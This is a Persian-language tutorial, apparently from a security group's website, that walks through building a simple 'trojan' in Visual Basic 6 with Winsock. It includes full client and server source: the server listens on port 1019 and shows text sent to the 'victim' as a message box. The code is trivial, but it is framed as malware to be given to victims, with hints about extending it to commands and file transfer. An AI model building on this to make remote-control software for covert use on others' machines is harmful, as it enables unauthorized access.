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 داشته باشيد و visual basicقبل از مطالعه اين درس شما بايد حداقل آشنايي جزئي با برنامه نويسي : توجه 
 .نايي با نحوه كار  است ، نه سوء استفاده از ديگران تمام اين دروس فقط براي آشنيز توجه داشته باشيد كه 

 
 : مقدمه 

مـن  . روشهاي نفوذ به كلاينت هـا ميباشـد   يكي از جالبترين و در عين حال خلاقانه ترين     ) Trojans(تروجان ها   
خـود ارزش و كـارايي ايـن    ورزيدم و لي بعضي از دوستان با كارهاي بچه گانـه   هميشه به اين مبحث عشق مي 

 .برنامه ها را به پايين ترين سطح خود تنزل داده اند 
 .من سعي دارم يك آموزش تصويري از نوشتن يك تروجان ساده كه يك پيغام را براي قرباني ميفرستند ، دهم 

 
 .ابتدا ويژوال بيسيك را باز كرده و سپس پروژه استاندارد را انتخاب كنيد -۱
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 . را انتخاب كنيد  componentsك كرده و سپس گزينه  سپس در قسمت ابزار كلي-۲
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 .  را انتخاب كنيد Microsoft Winsock Control 6.0 از صفحه اي كه بار ميشود گزينه -۳
 
 
 
 
 
 
 
  .  ، دو كامپيوتر كوچك پشت سر هم كنار نوار ابزار ظاهر ميشود ok خوب بعد از زدن -۴
 
 
 
 
 
 . تغيير دهيد  TCP1 حالا روي آن ها كليك كرده و يكي از آنها را در صفحه قرار دهيد و سپس نام آن را به -۵
  

 
 
 
 
 

 بـين سـرور و   TCP و UDP يكي از ابزار هاي برقراري ارتباط از طريـق پـرت هـاي     Winsock: كمي توضيح 
ر اور فلو ها نيز در ويژوال بيسيك نيز از اين كامپوننـت  براي نوشتن بافتوجه كنيد كه .  ميباشد  vbكلاينت در 

 . به اين طريق انجام ميشود vbو تقريبا تمام ارتباطات استاندارد در . استفاده ميكنند 
 
 را روي آن هم انجام ۵ تا ۱و مراحل . را باز كرده و يك پروژه ديگر نيز تعريف كنيد vb حالا  يك بار ديگر -۶

 .باشيد كه يكي از اين پروژه ها براي سرور و ديگري براي كلاينت ، تروجان ما هستندتوجه داشته . دهيد 
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  :Client ساخت
  و ما بايد اين دو را جدا Server , Clientهمان طور كه ميدانيد يك نروجان داراي دو قسمت اصلي است ، 

به علت پيچيده شدن بحث و خارج بودن از گانه بسازيم ، البته ميشود ، سرور و كلاينت با هم باشند واي 
 .حوصله مقاله ، به اين موضوع نمي پردازيم 

 :خوب حالا كار را شروع ميكنيم 
 

 … , command , text باز كرده ايد انتخاب كنيد و همانند شكل زير براي آن هيك از دو پروژه اي را ك -۱

 :تعريف كنيد 
 )تا اينجا كه مشكلي وجود ندارد . (شته شده ، بنويسيد اسم هر يك را طبق آنچه كه جلوي آنها نو

 :حالا نوبت به كد نويسي براي هر يك از موارد بالاست 
 يكي از مهمترين قسمت هاي برنامه نويسي تروجان ها رفع اشكال در آنهاست ، چون در :توضيح مهم 

 .صورت بروز مشكل تروجان به طور اتوماتيك از كار باز خواهد ايستاد 
 : استفاده كرد مثلا  on errorا براي اين كار بايد از م

On error goto 1 
… 
Exit sub 
1: 
[On error msg] 
End sub 

 
  : connectكليد -۱
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Private Sub connect_Click () 
 If (tcp1.State <> sckClosed) Then tcp1.Close 
   tcp1.LocalPort = 0 
    tcp1.connect ip.Text, 1019 
End Sub  
 

منظور از بي كار .  بي كار بود به كار خود ادامه مي دهد  Winsockدر خط اول سوكت را چك ميكند و اگر 
 يعني ، وين سوكت ما توسط قسمتي ديگر از برنامه استفاده نشود و اگر چنين موردي پيش  Winsockبودن 

 .كند بيايد ارتباط آن را قطع ميكند و آن را براي استفاده خود حاظر مي
 كه  IPو در خط سوم هم تماس را بر روي . در خط بعدي نشان ميدهد كه ارتباط ما به صورت ريموت است 

 . و ار تباط را بر قرار ميكنده تنظيم كرد۱۰۱۹ وارد كرديم و بر روي پورت  IP.textما در 
 
  :Disconnect كليد  -۲

Private Sub disconnetc_Click () 
tcp1.Close 
AlertTXT.Caption = "ارتباط قطع شد" 
AlertTXT.BackColor = &H8080FF 
End Sub 

 را تغيير داده و رنگ alerttxtدر اينجا در خط اول ارتباط را قطع ميكند و در خط دوم و سوم به ترتيب عنوان
 .آن را به رنگ صورتي كم رنگ در مي آورد 

 
۳- tcp1_Close:   

ست كه اگر يك دفعه ارتباط قطع شد ما چگونه متوجه شويم كه ارتباط قطع نكته اي كه نبايد فراموش كنيم اين ا
به اين .  ميباشد  Winsock در  closeشده ، اين مشكل يك راه حل ساده دارد وو آن هم استفاده از امكانات 

ا  ر close قسمت tcp1صورت كه در شكل ميبينيد شما بايد وارد قسمت كد نويسي شده و از زبانه خصوصيات 
 :انتخاب كنيد 

 
 
 
 
 
 
 
 
 

 : با نام Private Subوبعد آن يك 
Private Sub tcp1_Close ) (  

 :حال كد هاي زير ار وارد ميكنيم . را مشاهده خواهيد كرد 
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Private Sub tcp1_Close () 
AlertTXT.Caption = "ارتباط برقرارنیست و قطع شد" 
   AlertTXT.BackColor = &H8080FF 
    tcp1.Close 
End Sub 

 !كه احتياج به توضيح اضافه هم ندارد 
 
۴-tcp1_Connect:  

 را انتخاب  connectاين قسمت را هم همانند قسمت قبل طي ميكنم و اين بار از آن منوي كشويي گزينه 
 :حال به كد هاي اين قسمت دقت كنيد . ميكنيم 

Private Sub tcp1_Connect () 
AlertTXT.Caption = " اط برقرار شدارتب " 
    AlertTXT.BackColor = &H80FF80 
End Sub 
 

 alerttxtخوب ، اين قسمت از كد ها در اصل هنگامي كه ارتباط با موفقيت انجام شد به ما خبر ميدهد و رنگ 
 .  وشن در مي آورد ررا به رنگ سبز

 
  : Sendكليد -۵

ما در اينجا پس از بر قراري ارتباط مي آييم و يك .  قسمت كلاينت ميباشد اين آخرين بخش از كد نويسي براي
توجـه شـود كـه مـا     .  ميكنيم  send نوشته ايم را به سمت سرور send textكه در ) استرينگ(سري اطلاعات 

ميتوانيم در سرور حتي اين اطلاعات را تجزيه و تحليل كنيم و طبق درخواستي كـه مـا ميفرسـتيم ، سـرور كـار       
 .خاصي را انجام دهد 

Private Sub send_Click () 
On Error Resume Next 
a$ = sendtext 
tcp1.SendData a$ 
send.SetFocus 
End Sub 

ناديـده  در خط  نخست ما براي اينكه  هر گونه اشتباهي كه در هنگامه زدن اين دكمـه بـه وجـود مـي آيـد را               
ر تمـام خطاهـا را ناديـده گرفتـه و     ايـن دسـتو  .  استفاده ميكنيم On Error Resume Nextبگيريم از دستور 

 . دوباره به حالت اوليه بر ميگردد 
يعنـي از ايـن   .  مربوط ساخته ايم Sendtextدر خط دوم ما يك استرينگ تعريف كرده ايم و اين استرينگ را به     

 . وارد كنيم در اين استرينگ قرار مي گيرد Sendtextبه بعد هر چيزي كه در 
 .  را ارسال ميكنيم $a استرينگ Winsock  داده ها در sendدر خط سوم هم با استفاده از خصوصيات 

 . را به حالت اوليه بر مي گردانيم sendدوباره كليد .  هم ۴در خط 
 

در تروجان هاي معمولي ، در اصل هيچ چيز خاصي به جز چند دستور ساده به سمت سرور فرستاده : نكته مهم 
 .  ، و به همين دليل است كه سرعت عكسل العمل دستورات در اين نوع ارتباطات بسيار زياد است نمي شود

 ددر صورتي كه بخواهيم انتقال فايل هم داشته باشـيم در آن صـورت بايـد در نحـوه كـد نويسـي خـو            : توجه  
 .تغييرات عمده اي صورت دهيم 
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  :Serverساخت 
 

 . قرباني داده ميشود اين قسمت در اصل همان چيزيست كه به
 :ابتدا يك فورم استاندارد انتخاب ميكنيم .  براي ساخت سرور به چيز زيادي احتياج نداريم -۱
 
 
 
 
 
 
 
 
 
 
 
، فورا يك پورت را باز كرده و به آن پورت گوش دهد ما بايد به  براي اينكه هنگامي كه سرور اجرا ميشود -۲

tcp1  -) Winsock (رت مورد نظر ما گوش كند ، به همين دليل در دستور دهيم تا به پوform_load  اين 
 :كد ها را وارد ميكنيم 

Private Sub Form_Load () 
On Error Resume Next 
tcp1.LocalPort = 1019 
tcp1.Listen 
End Sub 

تخاب  انclientدر خط دوم ما پورتي را كه در .  در كلاينت مراجعه كنيد ۵براي توضيح خط اول به قسمت 
 .كرديم ، اينجا هم وارد ميكنيم و در خط سوم به آن پورت گوش ميدهيم 

 . مي باشد clientيعني اين پورت باز و فعال است و منتظر ارائه دستورات از : گوش دادن به پورت 
 
۳- tcp1_Close :  

 .كد هاي مربوطه به شكل زير است . براي توضيحات به قسمت كلاينت مراجعه شود 
Private Sub tcp1_Close() 
On Error Resume Next 
    tcp1.Close 
    tcp1.LocalPort = 1019 
tcp1.Listen 
End Sub 

سوكت به پورت هم غير فعال ميشود و ما توجه كنيد كه وقتي به هر دليلي ارتباط قطع مي شود ، گوش كردن 
 گوش ۱۰۱۹قطع شد ، دوباره به پورت  به برنامه سرور دستور ميدهيم كه در صورتي كه ارتباط ۴و۳در خط 

.كن و منتظر دستورات باش   
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۴-tcp1_ConnectionRequest:  
 :كدهاي مربوط به آن 

Private Sub tcp1_ConnectionRequest (ByVal requestID As Long) 
 If (tcp1.State <> sckClosed) Then tcp1.Close 
    tcp1.LocalPort = 0 
    Tcp1.Accept requestID 
End Sub 

 اعلام كند كه ارتباط با  client ، به  clientاين كد باعث ميشود تا سرور ما در صورت برقراري ارتباط با 
 .موفقط انجام شد است 

 : دريافت اطلاعات -۵
 :كدهاي مربوط به آن 

Private Sub tcp1_DataArrival (ByVal bytesTotal As Long) 
 Dim Data as String 
    On Error Resume Next 
    Tcp1.GetData Data 
   If Data = "end" Then End 
    A$ = Data  
    MsgBox A$ 
End Sub 

 را تعريف ميكنيم و در خط دوم براي رد كردن هر گونه اشكالي به  dataدر خط اول اين كد ما استزينگ 
 فرستاده شده و client را كه از  dataترينگ  را واردار ميكند اسtcp1برنامه توضيح ميدهيم و در خط سوم 

 . منتظر گرفته شدن است را دريافت كند 
و سپس .   را به يك استرينگ كليتر كه قابليت  تعريف شدن هم دارد ربط ميدهيم data هم استرينگ ۵در خط 
 .  را به صورت يك پيغام به قرباني نشان ميدهد $a استرينگ متني ۶در خط 

 :و اما 
 :ه  مي گذرد  چ۴ در خط

يعني به . ديتا هاي دريافتي از سمت سرور را كه به صورت متن است را جهت دار كرديم ما آمديم در اين خط 
 را به تنهايي تايپ كرد و براي تو فرستاد ، خود را كاملا از  endسرور دستور داديم كه هر گاه كلاينت كلمه 

 .رده خارج كن و برنامه خود را ببند 
راه را بلد باشند و . مت را براي آن آوردم تا كساني كه ميخواهند برنامه هاي پيشرفته تر را بنويسند اين قس

 .گيج نشوند 
 

ولي من سعي خود را كردم كه در جايي از آن كم نگذارم . با اينكه اين مقاله از من انرژي زيادي برد : كلام آخر 
حتما طريقه نوشتن آنتي ويروس ها و . استقبال روبه رو شود اگر دوستان ياري كنند و اين گونه مقالات با . 

 .  آنتي تروجان ها را هم تويح ميدهم 
 سيمرغ ، قسمت  گروه امنيتيشما ميتوانيد سورس كد هاي برنامه را در قسمت دانلود سايت : دريافت كد ها 

open source  دريافت كنيد . 
 

  مدير گروه امنيتي سيمرغ –حسين عسگري 
www.simorgh-ev.com 

 :سورس كامل كلاينت 
Private Sub connect_Click() 

http://www.simorgh-ev.com
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 If (tcp1.State <> sckClosed) Then tcp1.Close 
   tcp1.LocalPort = 0 
    tcp1.connect ip.Text, 1019 
End Sub 
-------------------------------------------------- 
Private Sub disconnetc_Click() 
tcp1.Close 
AlertTXT.Caption = "ارتباط قطع شد" 
AlertTXT.BackColor = &H8080FF 
End Sub 
--------------------------------------------------- 
Private Sub Form_Resize() 
If Me.WindowState = 2 Then Me.WindowState = 0 
End Sub 
--------------------------------------------------- 
Private Sub send_Click() 
On Error Resume Next 
a$ = sendtext 
tcp1.SendData a$ 
send.SetFocus 
End Sub 
------------------------------------------------------ 
Private Sub tcp1_Close() 
AlertTXT.Caption = "  " برقرارنيست و قطع شدارتباط
   AlertTXT.BackColor = &H8080FF 
    tcp1.Close 
End Sub 
------------------------------------------------------- 
Private Sub tcp1_Connect() 
AlertTXT.Caption = "ارتباط برقرار شد" 
    AlertTXT.BackColor = &H80FF80 
End Sub 

 
:ر سورس كامل سرو  

 
Private Sub Form_Load() 
On Error Resume Next 
tcp1.LocalPort = 1019 
tcp1.Listen 
End Sub 
------------------------------------------- 
Private Sub tcp1_ConnectionRequest(ByVal requestID As Long) 
 If (tcp1.State <> sckClosed) Then tcp1.Close 
    tcp1.LocalPort = 0 
    tcp1.Accept requestID 
End Sub 
-------------------------------------------- 
Private Sub tcp1_DataArrival(ByVal bytesTotal As Long) 
 Dim Data As String 
    On Error Resume Next 
    tcp1.GetData Data 
   If Data = "end" Then End 
    A$ = Data 
    MsgBox A$ 
End Sub 
----------------------------------------- 
Private Sub tcp1_Close() 
On Error Resume Next 
    tcp1.Close 
    tcp1.LocalPort = 1019 
tcp1.Listen 
End Sub 


